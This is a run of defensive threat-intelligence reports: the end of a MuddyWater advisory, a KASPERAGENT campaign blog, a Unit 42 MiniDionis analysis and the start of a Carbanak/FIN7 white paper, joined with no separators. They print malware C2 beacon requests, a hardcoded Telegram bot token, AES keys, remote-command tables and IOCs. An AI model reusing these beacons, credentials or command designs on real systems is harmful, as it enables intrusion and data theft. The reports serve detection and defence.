Once executed, the backdoor binary index.exe is installed in the users AppData/Roaming directory and is added as a Run key in the registry to enabled persistence after reboot.
The installer then executes the backdoor with the Platypus argument [T1480], which is also present in the registry persistence key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift.
https://attack.mitre.org/versions/v10/techniques/T1480/ FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 16 of 19    Product ID: AA22-055A TLP: WHITE Configuration The backdoor attempts to restore previously initialized session data from LocalAppData\MicrosoftWindowsOutlookDataPlus.txt.
If this file does not exist, then it uses the hardcoded values listed in table 4: Table 4: Credentials and Session Values Field  Value  Description Chat ID  2090761833  This is the Telegram Channel ID that beacons are sent to, and, from which, tasking requests are received.
Tasking requests are dropped if they do not come from this channel.
This value cannot be changed.
Bot ID Random value between 10,000,000 and 90,000,000 This is a bot identifier generated at startup that is sent to the C2 in the initial beacon.
Commands must be prefixed with /com[Bot ID] in order to be processed by the malware.
Telegram Token  2003026094: AAGoitvpcx3SFZ2_6YzIs4 La_kyDF1PbXrY This is the initial token used to authenticate each message to the Telegram Bot API.
Tasking Small Sieve beacons via the Telegram Bot API, sending the configured Bot ID, the currently logged-in user, and the hosts IP address, as described in the Communications (Beacon format) section below.
It then waits for tasking as a Telegram bot using the python-telegram-bot module.
Two task formats are supported: /start  no argument is passed this causes the beacon information to be repeated.
/com[BotID] [command]  for issuing commands passed in the argument.
The following commands are supported by the second of these formats, as described in table 5: Com Table 5: Supported Commands Command Description delete  This command causes the backdoor to exit it does not remove persistence.
download urlfilename  The URL will be fetched and saved to the provided filename using the Python urllib module urlretrieve function.
FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 17 of 19    Product ID: AA22-055A TLP: WHITE change tokennewtoken  The backdoor will reconnect to the Telegram Bot API using the provided token newtoken.
This updated token will be stored in the encoded MicrosoftWindowsOutlookDataPlus.txt file.
disconnect  The original connection to Telegram is terminated.
It is likely used after a change token command is issued.
Any commands other than those detailed in table 5 are executed directly by passing them to cmd.exe /c, and the output is returned as a reply.
Defense Evasion Anti-Sandbox Figure 1: Execution Guardrail Threat actors may be attempting to thwart simple analysis by not passing Platypus on the command line.
String obfuscation Internal strings and new Telegram tokens are stored obfuscated with a custom alphabet and Base64- encoded.
A decryption script is included in Appendix B.
Communications Beacon Format Before listening for tasking using CommandHandler objects from the python-telegram-bot module, a beacon is generated manually using the standard requests library: FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 18 of 19    Product ID: AA22-055A TLP: WHITE Figure 2: Manually Generated Beacon The hex host data is encoded using the byte shuffling algorithm as described in the Communications (Traffic obfuscation) section of this report.
The example in figure 2 decodes to: admin/WINDOMAIN1  10.17.32.18 Traffic obfuscation Although traffic to the Telegram Bot API is protected by TLS, Small Sieve obfuscates its tasking and response using a hex byte shuffling algorithm.
A Python3 implementation is shown in figure 3.
Figure 3: Traffic Encoding Scheme Based on Hex Conversion and Shuffling Detection Table 6 outlines indicators of compromise.
Table 6: Indicators of Compromise Type  Description  Values Path  Telegram Session Persistence File (Obfuscated) LocalAppData\MicrosoftWindowsOut lookDataPlus.txt Path  Installation path of the Small Sieve binary AppData\OutlookMicrosift\index.e xe FBI  CISA  CNMF  NCSC-UK  NSA    TLP:WHITE Page 19 of 19    Product ID: AA22-055A TLP: WHITE Registry value name  Persistence Registry Key pointing to index.exe with a Platypus argument HKCU\Software\Microsoft\Windows\Cu rrentVersion\Run\OutlookMicrosift String Recover Script Figure 4: String Recovery Script Summary Technical Details PowGoop Small Sieve Canopy MuddyWater also uses Canopy/Starwhale malware, likely distributed via spearphishing emails with targeted attachments [T1566.001].
According to two Canopy/Starwhale samples analyzed by CISA, Canopy uses Windows Script File (.wsf) scripts distributed by...
In the samples CISA analyzed, a malicious Excel file, Cooperation terms.xls, contained macros written in Visual Basic for Applications (VBA) and two encoded Windows Script Files.
When the victim opens the Excel file, they receive a prompt to enable ma... Mori POWERSTATS Survey Script Newly Identified PowerShell Backdoor MITRE ATTCK Techniques Mitigations Protective Controls and Architecture Identity and Access Management Phishing Protection Vulnerability and Configuration Management Additional Resources References CAVEATS Purpose Appendix A: IOCs Appendix B: Small Sieve Metadata Functionality Installation Configuration Tasking Defense Evasion Anti-Sandbox String obfuscation Communications Beacon Format Traffic obfuscation Detection String Recover Script
6/14/2017 KASPERAGENT Malware Campaign resurfaces in May Election threatconnect.com /blog/kasperagent-malware-campaign/ KASPERAGENT Malware Campaign resurfaces in the run up to May Palestinian Authority Elections ThreatConnect has identified a KASPERAGENT malware campaign leveraging decoy Palestinian Authority documents.
The samples date from April - May 2017, coinciding with the run up to the May 2017 Palestinian Authority elections.
Although we do not know who is behind the campaign, the decoy documents content focuses on timely political issues in Gaza and the IP address hosting the campaigns command and control node hosts several other domains with Gaza registrants.
In this blog post we will detail our analysis of the malware and associated indicators, look closely at the decoy files, and leverage available information to make an educated guess on the possible intended target.
Associated indicators and screenshots of the decoy documents are all available here in the ThreatConnect platform.
Some of the indicators in the following post were published on AlienVault OTX on 6/13.
Background on KASPERAGENT KASPERAGENT is Microsoft Windows malware used in efforts targeting users in the United States, Israel, Palestinian Territories, and Egypt since July 2015.
The malware was discovered by Palo Alto Networks Unit 42 and ClearSky Cyber Security, and publicized in April 2017 in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog.
It is called KASPERAGENT based on PDB strings identified in the malware such as c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\kasper\Release\kasper.pdb.
The threat actors used shortened URLs in spear phishing messages and fake news websites to direct targets to download KASPERAGENT.
Upon execution, KASPERAGENT drops the payload and a decoy document that displays Arabic names and ID numbers.
The malware establishes persistence and sends HTTP requests to the command and control domain mailsinfo[.
]net.
Of note, the callbacks were to PHP scripts that included /dad5/ in the URLs.
Most samples of the malware reportedly function as a basic reconnaissance tool and downloader.
However, some of the recently identified files display extended-capability including the functionality to steal passwords, take screenshots, log keystrokes, and steal files.
These extended-capability samples called out to an additional command and control domain, stikerscloud[.
]com.
Additionally, early variants of KASPERAGENT used Chrome as the user agent, while more recent samples use OPAERA - a possible misspelling of the Opera - browser.
The indicators associated with the blog article are available in the ThreatConnect Technical Blogs and Reports source here.
The samples we identified leverage the same user agent string OPAERA, included the kasper PDB string reported by Unit 42, and used similar POST and GET requests.
The command and control domains were different, and these samples used unique decoy documents to target their victims.
Identifying another KASPERAGENT campaign We didnt start out looking for KASPERAGENT, but a file hit on one of our YARA rules for an executable designed to display a fake XLS icon - one way adversaries attempt to trick targets into thinking a malicious file is innocuous.
The 1/7 https://www.threatconnect.com/blog/kasperagent-malware-campaign/ https://app.threatconnect.com/auth/campaign/campaign.xhtml?campaign4219181 https://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/ https://app.threatconnect.com/auth/incident/incident.xhtml?incident4003314 https://app.threatconnect.com/auth/indicators/details/customIndicator.xhtml?id29927402ownerCommonCommunity first malicious sample we identified (6843AE9EAC03F69DF301D024BFDEFC88) had the file name testproj.exe and was identified within an archive file (4FE7561F63A71CA73C26CB95B28EAEE8) with the name .r24.
This translates to The Complete Details of Fuqahas Assassination, a reference to Hamas military leader Mazen Fuqaha who was assassinated on March 24, 2017.
We detonated the file in VxStreams automated malware analysis capability and found testproj.exe dropped a benign Microsoft Word document that pulls a jpg file from treestower[.
]com.
Malwr.com observed this site in association with another sample that called out to mailsinfo[.
]net - a host identified in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog.
That was our first hint that we were looking at KASPERAGENT.
The jpg pulled from treestower[.
]com displays a graphic picture of a dead man, which also appeared on a Palestinian news website discussing the death of Hamas military leader Mazen Fuqaha.
A separate malicious executable - 2DE25306A58D8A5B6CBE8D5E2FC5F3C5 (vlc.exe) - runs when the photograph is displayed, using the YouTube icon and calling out to several URLs on windowsnewupdates[.
]com.
This host was registered in late March and appears to be unique to this campaign.
With our interest piqued, we pivoted on the import hashes (also known as an imphash), which captures the import table of a given file.
Shared import hashes across multiple files would likely identify files that are part of the same malware family.
We found nine additional samples sharing the imphash values for the two executables, C66F88D2D76D79210D568D7AD7896B45 and DCF3AA484253068D8833C7C5B019B07.
Import Hash Results c66f88d2d76d79210d568d7ad7896b45 2/7 https://app.threatconnect.com/auth/indicators/details/file.xhtml?file6843AE9EAC03F69DF301D024BFDEFC88 https://app.threatconnect.com/auth/indicators/details/file.xhtml?file4FE7561F63A71CA73C26CB95B28EAEE8 https://www.nytimes.com/2017/03/27/world/middleeast/mazen-fuqaha-hamas-killing-israel.html https://www.hybrid-analysis.com/sample/16df435ea8214cb0a62ab40720d8d0f5b65ba9268c84fc9e1180d2468a966f72 https://app.threatconnect.com/auth/indicators/details/host.xhtml?hostwww.treestower.comownerCommonCommunity http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/ https://www.hybrid-analysis.com/sample/5d329690a606857871f007b990b78f876c57a571b38cafd54f3d98c9b3b42453?environmentId100 https://app.threatconnect.com/auth/indicators/details/host.xhtml?hostwindowsnewupdates.comownerCommonCommunity https://app.threatconnect.com/auth/browse/index.xhtml?filterstypeName in (22Address222C 22EmailAddress222C 22File222C 22Host222C 22URL222C 22ASN222C 22CIDR222C 22Mutex222C 22Registry Key222C 22User Agent22) and attribute1785 3D c66f88d2d76d79210d568d7ad7896b45 https://app.threatconnect.com/auth/browse/index.xhtml?filterstypeName in (22Address222C 22EmailAddress222C 22File222C 22Host222C 22URL222C 22ASN222C 22CIDR222C 22Mutex222C 22Registry Key222C 22User Agent22) and attribute1785 3D dcf3aa484253068d8833c7c5b019b07a Import Hash Results dcf3aa484253068d8833c7c5b019b07a Analysis of those files uncovered two more imphashes, 0B4E44256788783634A2B1DADF4F9784 and E44F0BD2ADFB9CBCABCAD314D27ACCFC, for a total of 20 malicious files.
These additional samples behaved similarly to the initial files testproj.exe dropped benign decoy files and started malicious executables.
The malicious executables all called out to the same URLs on windowsnewupdates[.
]com.
These malware samples leverage the user agent string OPAERA, the same one identified in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog.
Although the command and control domain was different from those in the report, the POST and GET requests were similar and included /dad5/ in the URL string.
In addition, the malware samples included the kasper PDB string reported by Unit 42, prompting us to conclude that we were likely looking at new variants of KASPERAGENT.
The Decoy Files Several of the decoy files appeared to be official documents associated with the Palestinian Authority - the body that governs the Palestinian Territories in the Middle East.
We do not know whether the files are legitimate Palestinian Authority documents, but they are designed to look official.
Additionally, most of the decoy files are publicly available on news websites or social media.
The first document - dated April 10, 2017 - is marked Very Secret and addressed to Yahya Al-Sinwar, who Hamas elected as its leader in Gaza in February 2017.
Like the photo displayed in the first decoy file we found, this document references the death of Mazen Fuqaha.
The Arabic-language text and English translation of the document are available in ThreatConnect here.
A screenshot of the file is depicted below.
3/7 https://app.threatconnect.com/auth/browse/index.xhtml?filterstypeName in (22Address222C 22EmailAddress222C 22File222C 22Host222C 22URL222C 22ASN222C 22CIDR222C 22Mutex222C 22Registry Key222C 22User Agent22) and attribute1785 3D 0b4e44256788783634a2b1dadf4f9784 https://app.threatconnect.com/auth/browse/index.xhtml?filterstypeName in (22Address222C 22EmailAddress222C 22File222C 22Host222C 22URL222C 22ASN222C 22CIDR222C 22Mutex222C 22Registry Key222C 22User Agent22) and attribute1785 3D e44f0bd2adfb9cbcabcad314d27accfc http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/ https://app.threatconnect.com/auth/document/document.xhtml?document4219292 The second legible file, dated April 23, has the same letterhead and also is addressed to Yahya al-Sinwar.
This file discusses the supposed announcement banning the rival Fatah political party, which controls the West Bank, from Gaza.
It mentions closing the Fatah headquarters and houses that were identified as meeting places as well as the arrest of some members of the party.
4/7 https://en.wikipedia.org/wiki/Fatah Looking at the Infrastructure We dont know for sure who is responsible for this campaign, but digging into the passive DNS results led us to some breadcrumbs.
Starting with 195.154.110[.
]237, the IP address which is hosting the command and control domain windowsnewupdates[.
]com, we found that the host is on a dedicated server.
5/7 https://app.threatconnect.com/auth/indicators/details/address.xhtml?address195.154.110.237ownerCommonCommunity ThreatConnect DomainTools Integration Results Using our Farsight DNSDB integration, we identified other domains currently and previously hosted on the same IP.
Reverse DNS and Passive DNS results for 195.154.110[.
]237 6/7 Two of the four domains that have been hosted at this IP since 2016 -- upfile2box[.
]com and 7aga[.
]net -- were registered by a freelance web developer in Gaza, Palestine.
This IP has been used to host a small number of domains, some of which were registered by the same actor, suggesting the IP is dedicated for a single individual or groups use.
While not conclusive, it is intriguing that the same IP was observed hosting a domain ostensibly registered in Gaza AND the command and control domain associated with a series of targeted attacks leveraging Palestinian Authority-themed decoy documents referencing Gaza.
Targeting Focus?
Just like we cant make a definitive determination as to who conducted this campaign, we do not know for sure who it was intended to target.
What we do know is that several of the malicious files were submitted to a public malware analysis site from the Palestinian Territories.
This tells us that it is possible either the threat actors or at least one of the targets is located in that area.
Additionally, as previously mentioned, the decoy document subject matter would likely be of interest to a few different potential targets in the Palestinian Territories.
Potential targets such as Hamas who controls the Gaza strip and counts Mazen Fuqaha and Yahya al-Sinwar as members, Israel which is accused of involvement in the assassination of Mazen Fuqaha, and the Fatah party of which the Prime Minister and President of the Palestinian Authority are members.
The campaign corresponds with a period of heightened tension in Gaza.
Hamas, who has historically maintained control over the strip, elected Yahya al-Sinwar - a hardliner from its military wing - as its leader in February.
A Humanitarian Bulletin published by the United Nations Office for the Coordination of Humanitarian Affairs indicates in March 2017 (just before the first malware samples associated with this campaign were identified in early April) Hamas created a parallel institution to run local ministries in Gaza, further straining the relationship between Hamas and the Palestinian Authority who governs the West Bank.
After this announcement, the Palestinian Authority cut salaries for its employees in Gaza by 30 percent and informed Israel that it would no longer pay for electricity provided to Gaza causing blackouts throughout the area and escalating tensions between the rival groups.
Then, in early May (two days after the last malware sample was submitted) the Palestinian Authority held local elections in the West Bank which were reportedly seen as a test for the Fatah party.
Elections were not held in Gaza.
All of that is to say, the decoy documents leveraged in this campaign would likely be relevant and of interest to a variety of targets in Israel and Palestine, consistent with previously identified KASPERAGENT targeting patterns.
Additionally, the use of what appear to be carefully crafted documents at the very least designed to look like official government correspondence suggests the malware may have been intended for a government employee or contractor who would be interested in the documents subject matter.
More associated indicators, screenshots of many of the decoy documents, and descriptions of the activity are available via the March - May 2017 Kasperagent Malware Leveraging WindowsNewUpdates[.
]com Campaign in ThreatConnect.
7/7 https://www.nytimes.com/2017/03/27/world/middleeast/mazen-fuqaha-hamas-killing-israel.html https://unispal.un.org/DPA/DPR/unispal.nsf/0/AC8C02B3FA96AA208525811C00554B0D https://www.nytimes.com/2017/04/27/world/middleeast/palestinian-authority-hamas-gaza-electricity.html http://abcnews.go.com/International/wireStory/palestinian-west-bank-local-elections-test-fatah-party-47389952 https://app.threatconnect.com/auth/campaign/campaign.xhtml?campaign4219181 KASPERAGENT Malware Campaign resurfaces in May Election KASPERAGENT Malware Campaign resurfaces in the run up to May Palestinian Authority Elections Background on KASPERAGENT Identifying another KASPERAGENT campaign The Decoy Files Looking at the Infrastructure Targeting Focus?
Tracking MiniDionis: CozyCars New Ride Is Related to Seaduke Executive Summary Unit 42 has uncovered a new campaign from the CozyDuke threat actors, aka CozyCar [1], leveraging malware that appears to be related to the Seaduke malware described earlier this week by Symantec.
[
2] This campaign, which began on July 7, 2015, appears to be targeted at government organizations and think-tanks located in democratic countries [3], and utilizes compromised, legitimate websites for spear phishing and command and control activity.
Unit 42 discovered the extent of this attack using the Palo Alto Networks AutoFocus service, which allows analysts to quickly find correlations among malware samples analyzed by WildFire.
All files referenced throughout the analysis are contained in the IOC table at the end of this blog.
Malware Details The Initial Droppers: Decoy and Downloader The current CozyCar campaign includes spear phishing emails that deliver the payload from either by a link to a .zip file on a compromised website or by direct delivery as an attachment to the phish.
At the time of our analysis, the phishing link was no longer active.
When a user opens the attached file a poorly detected executable file [VT 1/54] is extracted.
The initial dropper is a self-extracting archive (SFX).
Upon execution, this executable file will drop two files in the TEMP directory: a decoy .wav file and the secondary dropper.
The CozyDuke group commonly uses legitimate media files to trick users.
In reality, while the media  a .wav file with a female voice claiming to be a reporter looking for commentary  is played, the secondary dropper executes in the background.
The secondary dropper requests a .swf file using SSL as illustrated in the HTTP traffic below.
As of this writing, the domain extranet.qualityplanning[.
]com resolved to 64.244.34[.
]200.
GET /webscriptsecurity/view/4/player.swf HTTP/1.1 Accept: text/html,application/xhtmlxml,/ Accept-Language: en_US User-Agent: Mozilla/5.0 (compatible MSIE 8.0 Windows NT 5.1   Trident/4.0 .NET CLR 1.1.4322 .NET CLR 2.0.50727) Host: extranet.qualityplanning[.
]com Connection: Keep-Alive GET /webscriptsecurity/view/4/player.swf HTTP/1.1 Accept: text/html,application/xhtmlxml,/ Accept-Language: en_US User-Agent: Mozilla/5.0 (compatible MSIE 8.0 Windows NT 5.1   Trident/4.0 .NET CLR 1.1.4322 .NET CLR 2.0.50727) Host: extranet.qualityplanning[.
]com Connection: Keep-Alive The secondary dropper then cleans up after itself with a simple vbs script (md5:0d132ee171768dc30d14590ed2dbadd1) that leaves only the decoy multimedia file behind.
But what did the dropper do with the .swf file?
The Real Payload While the player.swf file downloaded by the second stage dropper does contain media, it is, again, a decoy.
The actual flash component of this file is roughly 16kb, leaving approximately 200kb of the file unaccounted for.
The second stage dropper contains decoding routines that decode the arbitrary binary data into an executable file.
The executable file is dropped in appdata/Roaming and appears to try and emulate legitimate software names: TimbuktuDaemon, SearchIndexer, RtkAudioService64, dirmngr, o2flash, and usbrefs64.
This file was not observed on VirusTotal until July 9 and has extremely low detection rates [VT: 3/54].
It appears that the authors of this particular iteration of the CozyCar groups malware internally call it miniDionis according to pdb strings left in the binary (c:\BastionSolution\Shells\Projects\miniDionis4\miniDionis\obj\Release\miniDionis.pdb).
It also appears to be an iteration on the forkmeimfamous aka Seaduke malware analyzed by Unit 42 in a previous blog [4].
The malware stores 2 files in the temp directory: a configuration file and a secondary dll.
The configuration files name matches the final characters of the bot_id that is contained within as per the sample below:  bot_id: 8C9U-01MRLXW, host_scripts: [ https://www.illuminatistudios.net/mobile/viewer.php ]   bot_id: 8C9U-01MRLXW, host_scripts: [ https://www.illuminatistudios.net/mobile/viewer.php ]  Figure 1.
.net disassembly of the primary payload shows the authors name for the project, miniDionis.
Analysis of the secondary dll file (name matches [A-Z0-9]1\.tmp) indicates that its primary function is to serve as a cleanup mechanism for the dropped binary.
This is likely an attempt to thwart forensic investigations.
Further examination of memory dumps taken following the execution of miniDionis reveals some clues into the beaconing activity exhibited.
The malware stores configuration values in memory as key:value pairs: http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/07/net-fig-2.png  autoload_settings: app_name: Wuauctl, delete_after: false, exe_name: Wuauctl.exe , cookie_name: SSID, enable_autoload: false, first_run_delay: 0, host_scripts: [ https://www.illuminatistudios[.
]net/mobile/viewer.php ], key_id: 01MRLXW, keys: aes: PmDqw0pO4Rju5MFsqkRj7k5pV/84kXC9NdjIRgkN8gU, aes_iv: tYa/iASKhNsyzFZjHolthw , user_agent: Mozilla/5.0 (Windows NT 6.1 WOW64 Trident/7.0 rv:11.0) like Gecko  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19  autoload_settings: app_name: Wuauctl, delete_after: false, exe_name: Wuauctl.exe , cookie_name: SSID, enable_autoload: false, first_run_delay: 0, host_scripts: [ https://www.illuminatistudios[.
]net/mobile/viewer.php ], key_id: 01MRLXW, keys: aes: PmDqw0pO4Rju5MFsqkRj7k5pV/84kXC9NdjIRgkN8gU, aes_iv: tYa/iASKhNsyzFZjHolthw , user_agent: Mozilla/5.0 (Windows NT 6.1 WOW64 Trident/7.0 rv:11.0) like Gecko  The configuration of miniDionis is a JSON blob with several important sections, which are described in the table below: Key Functionality autoload_settings dictionary containing values which control the malwares behavior when executing via persistence mechanisms app_name subkey of autload_settings, defines the value to be used as the malwares name delete_after subkey of autload_settings, boolean value that defines whether the executable is to be deleted after exectuing exe_name subkey of autload_settings, defines the value to be used as the exectuable files name cookie_name defines the value in which cookie data will be stored enable_autoload boolean value which controls persistence first_run_delay time in seconds to delay initial beaconing after execution host_scripts dictionary containing the location of C2s key_id equivalent to the bot_id also used to derive values in C2 comms keys dictionary containing an AES key and AES IV aes aes value aes_iv aes_iv user_agent HTTP User-Agent header to be used when communicating with a C2 Table 1.
miniDionis configuration keys Network Communications The functional payload of this Trojan starts by creating a Mutex by splitting the bot_id value in the configuration on the hyphen (-) and using the second portion of the split string (specifically, 01MRLXW in the case of this configuration).
From a functionality standpoint, the Trojan uses the concept of tasks that are processed and completed using a pool of threads.
To obtain tasks, the Trojan will issue an HTTPS request to the C2 server (host_scripts in the configuration) that resembles the following example beacon: GET /mobile/viewer.php HTTP/1.1 Accept: / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1 WOW64 Trident/7.0 rv:11.0) like Gecko Host: www.illuminatistudios[.
]net Cookie: SSIDsLW5XoHJDwU3YxCRzwsEnfPPksD1sggcC8-25A Accept-Encoding: gzip, deflate Connection: Keep-Alive GET /mobile/viewer.php HTTP/1.1 Accept: / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1 WOW64 Trident/7.0 rv:11.0) like Gecko Host: www.illuminatistudios[.
]net Cookie: SSIDsLW5XoHJDwU3YxCRzwsEnfPPksD1sggcC8-25A Accept-Encoding: gzip, deflate Connection: Keep-Alive The Trojan manually creates the cookie in this HTTP request.
The cookie contains ciphertext that the Trojan creates based on the bot_id in the JSON configuration.
The Trojan compresses the bot_id string using zlib and then encrypts it using the RC4 algorithm using a generated key.
The generated key is a SHA1 hash of two randomly created strings: the first of which is between 2 and 8 bytes long and the second is between 1 and 7 characters in length.
The ciphertext of the bot_id is then based64 encoded and finally the appended to the cookie_name (SSID) in the configuration and sent within the HTTP request to the C2 server.
Unit 42 did not observe the first random string (between 2 and 8 characters in length) sent to the C2 in the first beacon, which would be required by the C2 to reproduce the exact SHA1 hash used as a key to generate the ciphertext in the cookie.
Upon further examination we believe that the C2 will not be able to decrypt the cookie in the first beacon.
Instead, the C2 will respond to the first beacon with data that the Trojan will use to extract a string, using a function named TrExtractKey seen in Figure 2, to replace the first random string used to generate the SHA1 hash.
Once the C2 and Trojan have synchronized using this string, the C2 will be able to decrypt subsequent network beacons because the Trojan includes the random string between 1 and 7 characters that makes up the second half of the SHA1 hash within the cookie field before the ciphertext.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/07/fig-3.png Figure 2.
TrExtractKey Function Used by MiniDionis to Obtain String from C2 to Synchronize Keys The C2 communications, and several of the commands we will discuss in this blog, include a rather interesting technique to manually handle HTTP redirection, such as the HTTP 301 Moved Permanently and HTTP 302 Found status codes.
The technique used to handle these redirections involves checking for the presence of a Location field within the HTTP headers of the server response, then using regular expressions to parse the HTML within server response to find the appropriate URL.
The code contains three regular expressions to parse the HTML to locate the URL, the first of which is a.?.
?/a that locates all of the tags associated with link within the HTML.
The second regular expression of onclick\Accept()\ locates only links within the HTML with a specific onclick action.
The last regular expression of href\\s\\s(?
:[\](?1[\])[\](?1\\S)) to obtain the correct URL to interact with as the C2 server.
Command handler Once the C2 and Trojan have synchronized and can decrypt their network communications the C2 server will begin responding to beacons from the Trojan with JSON blobs.
Unit 42 has not received any JSON blobs from an active C2 server, but based on static analysis of the Trojan determined the JSON would look as follows: tasks : [ task_id : , task_data : command : , data :  , ] tasks : [ task_id : , task_data : command : , data :  , ] The Trojan takes this JSON blob and adds each task in the list into a pool for processing.
Separate worker threads access this pool of tasks and process the commands and perform the necessary activities.
Unit 42 analyzed the Trojans command handler and found several commands, as seen in Table 2, which allows the threat actors to carry out a full range of activities on the system.
Command Sub-Command Description cmd Checks for subcommands within the data section, if not it attempts to run the data using cmd /c data cd Changes directory pwd Returns current working directory cdt Change to temporary directory :set_update_interval Sets the timeout between network beacons :proxy Configures proxy information :exit Exits the Trojan and responds to the C2 server with Bye :wget Downloads a file from a specified URL :uploadto Uploads a file to a specified URL exec Launches an application and waits for it to exit execw Launches an applications and does not wait for it to exit upl Uploads or downloads from a list of files to or from the C2 server srv Sends system information from the compromised system to the C2 server Table 2.
Available Commands within MiniDionis Command Handler Conclusion The actors behind the CozyDuke framework are highly sophisticated, motivated, and have become increasingly bold in their campaigns.
We recommend that other security practitioners review the included Indicators of Compromise (IoCs) to ensure they have not been targets in this campaign, and add the appropriate security controls to prevent future attacks.
This group is reliant on social engineering, and thus, user education remains of paramount importance.
Palo Alto Networks customers using WildFire were protected from this campaign.
All known elements of this campaign have been accurately identified by WildFire as malicious.
IOCs domain ff.whitebirchpaper[.
]com domain visionresearch[.
]com domain betawebservices.ntnonline[.
]com domain staff.shasta[.
]com hostname extranet.qualityplanning[.
]com hostname secure.hgl[.
]com hostname illuminatistudios[.
]net ip 103.254.16.168 ip 103.226.132.7 ip 122.228.193.115 md5 01039a95e0a14767784acc8f07035935 md5 0f9534b63cb7af1e3aa34839d7d6e632 md5 2e64131c0426a18c1c363ec69ae6b5f2 md5 70f5574e4e7ad360f4f5c2117a7a1ca7 md5 1dd593ad084e1526c8facce834b0e124 md5 42ffc84c6381a18b1f6d000b94c74b09 md5 719cf63a3922953ceaca6fb4dbed6584 md5 f415470b9f0edc1298b1f6ae75dfaf31 md5 ca770a4c9881afcd610aad30aa53f651 md5 24083e6186bc773cd9c2e70a49309763 md5 b0a9a175e2407352214b2d005253bc0c md5 b55628a605a5dfb5005c44220ae03b8a md5 26bd36cc57e30656363ca89910579f63 md5 a9c045c401afb9766e2ca838dc6f47a4 md5 f8cb10b2ee8af6c5555e9cf3701b845f md5 c8b49b42e6ebb6b977ce7001b6bd96c8 md5 030da7510113c28ee68df8a19c643bb0 md5 e07ef8ffe965ec8b72041ddf9527cac4 md5 4cbd9a0832dcf23867b092de37c10d9d md5 3a04a5d7ed785daa16f4ebfd3acf0867 md5 9018fa0826f237342471895f315dbf39 md5 98613ecb3afde5fc48ca4204f8363f1d md5 e00bf9b8261410744c10ae3fe2ce9049 md5 51ea28f4f3fa794d5b207475897b1eef md5 3195110045f64a3c83fc3e043c46d253 md5 1dd593ad084e1526c8facce834b0e124 url connectads[.
]com url kane-consulting[.
]net url edadmin.kearsney[.
]com url redbluffchamber[.
]com Sources [1] https://securelist.com/blog/research/69731/the-cozyduke-apt/ [2] http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory [3] http://www.theregister.co.uk/2015/04/22/cozyduke_hackers_white_house_state_dept_malware/ [4] http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ https://securelist.com/blog/research/69731/the-cozyduke-apt/ http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://www.theregister.co.uk/2015/04/22/cozyduke_hackers_white_house_state_dept_malware/ http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/
WHITE PAPER THE CARBANAK/FIN7 SYNDICATE A HISTORICAL OVERVIEW OF AN EVOLVING THREAT WHITE PAPER CONTENT 1.
Executive Summary..................................................................................................... 1 2.
The Digital Arsenal.....................................................................................................  2 2.1.
Overview.............................................................................................................  2 2.1.1.
Anunak/Sekur............................................................................................................  2 2.1.2.
Carberp...................................................................................................................... 7 2.1.3.
Other Windows Trojans....................................................................................... 11 2.1.4.
Linux and Other Tools.......................................................................................... 16 3.
Anunak Historical Overview.................................................................................. 22 4.
Overlap with Common Crimeware Campaigns................................................ 26 5.
Current Activity......................................................................................................... 30 6.
Recommendations.................................................................................................... 32 7.
Conclusions................................................................................................................. 33 Appendix.......................................................................................................................... 34 WHITE PAPER 1 1.
EXECUTIVE SUMMARY syndicate noun /sin-di-kt/ 1.
a group of individuals or organizations combined to promote some common interest.
The criminal gangs of the Carbanak/FIN7 syndicate have been attributed to numerous intrusions in the banking, hospitality, retail and other industrial verticals, collecting financial information of all kinds.
The name Carbanak comes from Carberp, a banking Trojan whose source code was leaked, and Anunak, a custom Trojan that has evolved over the years.
Since at least 2015, the group appears to have fragmented into smaller, loosely related groups, each with its own preferred toolsets and Trojans, although many similarities in tactics, techniques and procedures (TTPs) exist.
Using APT-style tactics and techniques, the perpetrators compromise an organization, quickly escalate privileges and begin searching for any system that could access the financial data of interest.
This ranges from scanning the network via WMI to look for running process names containing clear text credit card information, to monitoring a users screen to learn how to operate the systems used to process financial information.
Once they find these data and a method to access this financial information, they begin bulk harvesting.
If it is credit card track data, it can be turned around and sold on carder forums in bulk.
ATM and SWIFT data require more and less legwork, respectively.
Based on these tactics, the Carbanak/FIN7 syndicate is oftentimes considered an APT.
Given our research, RSA disagrees with this classification.
While the group is an extremely persistent threat, they are not advanced and dont demonstrate having access to zero-day exploits or innovative tools.
This gives network defenders the edge in protecting their financial data.
With proper visibility and control sets in place, an analyst can easily identify these techniques and remediate quickly, thus shortening attacker dwell time and helping to prevent exfiltration of sensitive data.
During the course of investigation, RSA Research observed Carbanak actors employing a handful of unique Trojans, along with freely available malware, to persist and move laterally once a network foothold was established.
While many of these methods are novel, they are also well-known in the penetration testing industry.
This is most likely by design, as many of these remote administration tools are frequently used by network administrators for legitimate purposes and would not have antivirus coverage or seem out of the ordinary.
Employing the least sophisticated methods available, the Carbanak actors safeguard more advanced tools from being identified, and potentially invalidated, through static or behavioral detection techniques.
